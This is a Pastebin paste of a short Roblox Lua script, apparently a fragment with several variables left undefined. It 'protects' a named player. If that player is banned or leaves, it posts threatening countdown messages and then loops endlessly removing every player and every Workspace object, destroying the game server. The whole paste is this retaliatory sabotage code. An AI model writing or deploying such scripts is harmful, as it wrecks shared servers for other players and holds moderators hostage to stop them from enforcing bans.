Advertisement
deezfai

Untitled

Jul 26th, 2016
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.94 KB | None | 0 0
  1. version = 1.05
  2.  
  3. while true do
  4. if game.Players:findFirstChild(protect) == nil then
  5. m.Parent = game.Workspace
  6. m.Text = protect.." is banned, the server will be removed..."
  7. wait(3)
  8. m.Text = "Unban "..protect.." or remove your script, else the server will be down with the following countdown!"
  9. wait(3)
  10. for i= respawntime, 0, -1 do
  11. if game.Players:findFirstChild(protect) == nil then
  12. m.Text = "If "..protect.." doesn't reappear in ["..i.."] then the server is down!"
  13. wait(1)
  14. end
  15. end
  16. if game.Players:findFirstChild(protect) ~= nil then
  17. m.Text = protect.." came back, nothing will happen!"
  18. wait(3)
  19. m:remove()
  20. else
  21. while true do
  22. for i, p in ipairs(game.Players:getChildren()) do
  23. p:Remove()
  24. end
  25. for i, w in ipairs(game.Workspace:getChildren()) do
  26. w:Remove()
  27. end
  28. wait()
  29. end
  30. end
  31. else
  32. h.Parent = game.Workspace
  33. h.Text = "Protecting: "..protect.." - Version: "..version.." - Created by: "..n
  34. end
  35. wait()
  36. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement